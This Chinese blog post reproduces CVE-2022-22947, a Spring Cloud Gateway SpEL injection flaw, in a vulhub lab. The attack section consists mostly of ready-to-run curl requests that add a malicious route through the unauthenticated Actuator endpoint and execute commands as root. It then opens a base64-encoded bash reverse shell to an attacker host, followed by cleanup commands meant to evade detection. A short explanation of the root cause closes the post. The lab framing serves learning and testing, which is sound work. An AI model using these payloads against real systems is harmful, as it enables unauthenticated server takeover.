Spring Cloud Gateway SpEL RCE(CVE-2022-22947)复现

本文详细介绍了 Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947) 的原理分析与实战复现。该漏洞源于 Spring Cloud Gateway 在开启 Actuator 端点时,过滤器(Filter)参数处理逻辑存在缺陷。攻击者可以通过发送特制的 POST 请求,利用 SpEL(Spring Expression Language) 表达式注入,在目标服务器上实现未经身份验证的远程代码执行。 复现过程中,我们通过 Actuator 接口动态添加路由,并在路由定义中嵌入恶意的 SpEL 表达式。当网关刷新路由配置时,系统会自动解析并执行该表达式,从而触发命令执行。

漏洞基础信息

漏洞编号 CVSS 评分 影响版本 漏洞类型
CVE-2022-22947 10.0 Spring Cloud Gateway 3.1.x < 3.1.1、3.0.x < 3.0.7、以及更早的不再维护的版本 远程代码执行 (RCE)

漏洞复现

复现环境准备

使用vulhub快速搭建漏洞环境:

┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose    # 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git  # 将 Vulhub 项目克隆到本地

└─$ cd vulhub/spring/CVE-2022-22947 
└─$ docker-compose up -d    # 拉取镜像并启动容器

└─$ docker ps   # 确认容器启动状态
30edb836b199   vulhub/spring-cloud-gateway:3.1.0   "java -Djava.securit…"   9 minutes ago   Up 9 minutes   0.0.0.0:5005->5005/tcp, :::5005->5005/tcp, 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   cve-2022-22947-spring-1

目标探测

端口扫描与服务识别

┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP

# 扫描结果
PORT     STATE SERVICE VERSION
8080/tcp open  http    Cloudflare http proxy
|_http-title: Example Domain
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: cloudflare
MAC Address: 00:0C:29:B3:23:74 (VMware)

Spring Cloud Gateway 的响应头特征和 Cloudflare 的部分特征重合,且网关本身是反向代理组件,nmap 的指纹库会将其误识别为Cloudflare http proxy,并非真的有 Cloudflare 代理,也不影响漏洞利用。

探测网关路由端点

Spring Cloud Gateway 的 RCE 依赖于 /actuator/gateway 端点的暴露。使用 curl 探测该路径是否存在。

┌──(kali㉿kali)-[~]
└─$ curl -i http://target-IP:8080/actuator/gateway/routes
HTTP/1.1 200 OK
transfer-encoding: chunked
Content-Type: application/json

[{"predicate":"Methods: [GET]","route_id":"index","filters":[],"uri":"http://example.com:80","order":0}]       

如果返回 200 OK 并包含 JSON 格式的路由列表,说明端点完全暴露,未授权访问漏洞存在。目前网关中已经存在一个名为 index 的默认路由,它会将流量转发到 example.com

如果返回 401 Unauthorized,说明有认证保护。

如果返回 404 Not Found,说明端点未开启或路径被修改。

攻击过程

注入恶意路由执行命令

向靶机发送 POST 请求,创建一个 ID 为 hack 的新路由。在 filters 中嵌入 SpEL 表达式执行 id 命令。

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://target-IP:8080/actuator/gateway/routes/hack \
    -H "Content-Type: application/json" \
    -d '{
      "id": "hack",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"id\").getInputStream()))}"
        }
      }],
      "uri": "http://example.com"
    }'

仅仅添加路由不会执行 SpEL,必须通过 refresh 端点强制 Gateway 重新加载配置。

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://target-IP:8080/actuator/gateway/refresh \
    -H "Content-Type: application/json" \
    -d '{}'

访问刚才创建的路由详情,查看 id 命令的执行结果。

┌──(kali㉿kali)-[~]
└─$ curl http://192.168.31.148:8080/actuator/gateway/routes/hack
{"predicate":"RouteDefinitionRouteLocator$$Lambda$1145/1157700961","route_id":"hack","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri":"http://example.com:80","order":0}    

这个结果说明恶意路由已经生效,这证明了 Gateway 不仅解析了 SpEL 表达式,而且以 root 用户身份执行了系统命令 id

反弹Shell

在攻击机上开启监听:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444

构造 Base64 编码的反弹命令,为了规避 Java exec() 对特殊字符解析的问题,先在 Kali 上生成编码:

┌──(kali㉿kali)-[~]
└─$ echo "bash -i >& /dev/tcp/attacker-IP/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK

发送反弹 Shell Payload ,修改第一步中的 exec 参数注入新路由:

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://target-IP:8080/actuator/gateway/routes/shell \
    -H "Content-Type: application/json" \
    -d '{
      "id": "shell",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "Result",
          "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK | base64 -d | bash\"}).getInputStream()))}"
        }
      }],
      "uri": "http://example.com"
    }'

刷新并触发:

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://target-IP:8080/actuator/gateway/refresh -H "Content-Type: application/json" -d '{}'
反弹shell成功

容器 id 与靶机vulhub拉起的相同,反弹成功。

清理现场

利用完成后,务必删除残留路由,防止被其他安全设备检测或被他人二次利用。

┌──(kali㉿kali)-[~]
└─$ curl -X DELETE http://target-IP:8080/actuator/gateway/routes/hack
└─$ curl -X DELETE http://target-IP:8080/actuator/gateway/routes/shell
└─$ curl -X POST http://target-IP:8080/actuator/gateway/refresh

漏洞核心原理

Actuator 网关端点的未授权访问

Spring Cloud Gateway 内置了名为 Actuator 的运维管理模块,它通过 /actuator/gateway/ 系列接口提供动态管理能力(如添加路由、查看状态)。 在生产环境下,这些敏感接口本应处于严密的身份认证保护下。然而,若运维配置不当(如:为了调试方便而未配置权限校验),就会导致这些管理接口处于未授权访问状态。攻击者无需任何账号密码,即可直接调用这些接口。

动态路由配置支持 SPEL 表达式

Gateway 设计上支持 “动态配置路由”(无需重启服务),开发者可通过 POST 请求调用 /actuator/gateway/routes/{id} 接口添加路由,且路由配置的 filters(过滤器)、predicates(断言)参数支持 SpEL(Spring 表达式语言)SpEL 是一种功能强大的表达式语言,它使用 #{...} 的特殊格式。

SPEL 表达式无任何安全限制

漏洞的本质在于 Gateway 在解析这些 SpEL 表达式时,没有进行任何安全过滤或环境隔离。 SpEL 本身具备直接调用 Java 底层类库(如 java.lang.Runtime)的能力。由于缺乏“沙箱”限制,当 Gateway 解析执行被攻击者恶意构造的表达式时,它不会分辨这是一个简单的配置值还是危险的系统指令。最终,网关进程会以自身的系统权限,去执行表达式中潜伏的恶意代码,导致服务器被彻底控制(RCE)。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇